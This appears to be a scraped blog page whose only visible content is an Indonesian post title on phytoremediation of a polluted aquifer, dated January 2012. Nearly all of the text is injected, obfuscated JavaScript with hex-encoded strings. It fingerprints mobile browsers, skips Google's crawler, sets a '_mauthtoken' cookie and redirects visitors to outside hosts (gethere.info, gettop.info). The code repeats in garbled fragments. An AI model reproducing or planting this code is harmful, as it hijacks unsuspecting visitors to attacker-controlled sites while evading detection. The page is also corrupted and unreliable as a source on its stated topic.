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g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&’”, delay);var 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os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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FITOREMEDIASI AQUIFER YANG TERCEMAR

January 31st, 2012 No comments


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